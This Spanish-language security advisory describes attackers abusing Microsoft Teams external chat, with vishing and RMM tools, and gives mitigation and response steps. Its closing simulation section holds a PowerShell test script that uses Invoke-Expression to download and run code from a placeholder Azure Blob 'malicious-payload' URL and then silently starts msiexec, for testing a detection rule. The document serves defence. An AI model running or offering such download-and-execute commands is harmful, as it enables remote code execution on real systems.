Abuso del Chat Externo de Microsoft Teams Permite Acceso Inicial

Resumen

Los actores de amenazas están abusando de las características de chat externo de Microsoft Teams para ejecutar estafas de suplantación y entregar archivos maliciosos. Los atacantes utilizan nombres de pantalla con temas de TI y inquilinos desechables de Microsoft 365 para parecer legítimos y ganar la confianza de las víctimas. Después de establecer contacto, frecuentemente dependen de vishing y herramientas de monitoreo y gestión remota (RMM) para obtener acceso directo al teclado.

Investigación

Arctic Wolf analizó más de 400 incidentes relacionados con el abuso de chat externo en Microsoft Teams. La investigación identificó un patrón recurrente en el que el bombardeo de correos creaba urgencia antes de que los atacantes contactaran a las víctimas a través de Teams mientras se hacían pasar por soporte técnico. Los investigadores también observaron un cambio de .onmicrosoft.com inquilinos hacia .top dominios controlados por atacantes para la puesta en escena de la carga útil.

Mitigación

Las organizaciones deben reemplazar una política de acceso externo abierta con una lista de dominios de confianza en el centro de administración de Teams. También se recomienda deshabilitar el chat con cuentas de Teams no gestionadas o de consumo. Restringir herramientas como Quick Assist y bloquear el software RMM no autorizado puede reducir aún más el riesgo de explotación posterior.

Respuesta

Cuando se detecta actividad sospechosa de chat externo de Teams, las organizaciones deben verificar la identidad del solicitante a través de un canal de comunicación externo. Los equipos de seguridad deben correlacionar eventos ChatCreated con telemetría de punto final e identidad para descubrir compromisos potenciales. Aislar rápidamente los hosts afectados y revocar los tokens de sesión para usuarios potencialmente comprometidos es crítico.

Ejecución de Simulación

• Narrativa del Ataque y Comandos: El objetivo del adversario es establecer persistencia instalando un servicio malicioso. Para evitar la detección, intentan descargar una carga útil desde un contenedor de almacenamiento público de Azure Blob. Utilizan un «one-liner» de PowerShell que combina Invoke-Expression (alias como IEX) con una URL que apunta a blob.core.windows.net. Una vez que el script se ejecuta en la memoria, desencadena la ejecución de msiexec.exe para instalar la carga útil final, completando la cadena desde el comando inicial hasta la instalación a nivel del sistema.

• Script de Prueba de Regresión:

  # Script de Simulación: Ejecución de Carga Útil vía PowerShell y Azure Blob
  # Este script imita los patrones exactos que busca la regla.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Simulando ejecución de Bloque de Script PowerShell con URL de Azure Blob..."
  # Esta línea desencadena la lógica EventID 4104 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Descargando desde $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Simulando ejecución de MSI..."
  # Esta línea desencadena la lógica EventID 4688 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Comandos de Limpieza:

  # Limpieza: No se crean archivos persistentes realmente por este script de simulación
  # ya que utiliza URLs ficticias y rutas estándar de sistema MSI.
  Write-Host "[+] Simulación completa. No quedan artefactos en el sistema."